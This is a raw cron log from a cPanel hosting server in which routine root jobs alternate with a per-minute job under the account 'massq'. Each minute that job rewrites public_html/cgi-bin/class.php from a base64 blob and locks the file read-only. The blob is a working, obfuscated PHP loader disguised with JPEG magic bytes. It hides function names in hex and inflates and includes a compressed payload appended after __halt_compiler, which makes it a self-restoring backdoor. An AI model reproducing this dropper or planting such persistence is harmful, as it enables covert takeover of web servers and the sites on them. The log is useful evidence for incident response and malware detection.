Sep 10 04:58:01 server CROND[5104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:59:01 server CROND[5474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:59:01 server CROND[5475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:59:01 server CROND[5476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:00:01 server CROND[5853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:00:01 server CROND[5857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:00:01 server CROND[5860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:00:01 server CROND[5859]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 05:00:01 server CROND[5856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:00:01 server CROND[5862]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:00:01 server CROND[5863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:00:01 server CROND[5858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:00:01 server CROND[5861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:01:01 server CROND[6680]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 05:01:01 server CROND[6682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:01:01 server CROND[6681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:01:01 server CROND[6683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:01:01 server run-parts(/etc/cron.hourly)[6680]: starting 0anacron
Sep 10 05:01:01 server run-parts(/etc/cron.hourly)[6701]: finished 0anacron
Sep 10 05:02:01 server CROND[7146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:02:01 server CROND[7147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:02:01 server CROND[7151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:03:01 server CROND[7533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:03:01 server CROND[7534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:03:01 server CROND[7535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:04:01 server CROND[7903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:04:01 server CROND[7904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:04:01 server CROND[7906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:05:01 server CROND[8281]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:05:01 server CROND[8280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:05:01 server CROND[8279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:05:01 server CROND[8285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:05:01 server CROND[8286]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 05:05:01 server CROND[8290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:05:01 server CROND[8288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:05:01 server CROND[8291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:05:01 server CROND[8287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:06:01 server CROND[9275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:06:01 server CROND[9276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:06:01 server CROND[9277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:07:01 server CROND[9763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:07:01 server CROND[9764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:07:01 server CROND[9765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:08:01 server CROND[10182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:08:01 server CROND[10184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:08:01 server CROND[10183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:09:01 server CROND[10590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:09:01 server CROND[10591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:09:01 server CROND[10592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:09:01 server CROND[10593]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 05:10:01 server CROND[10982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:10:01 server CROND[10987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
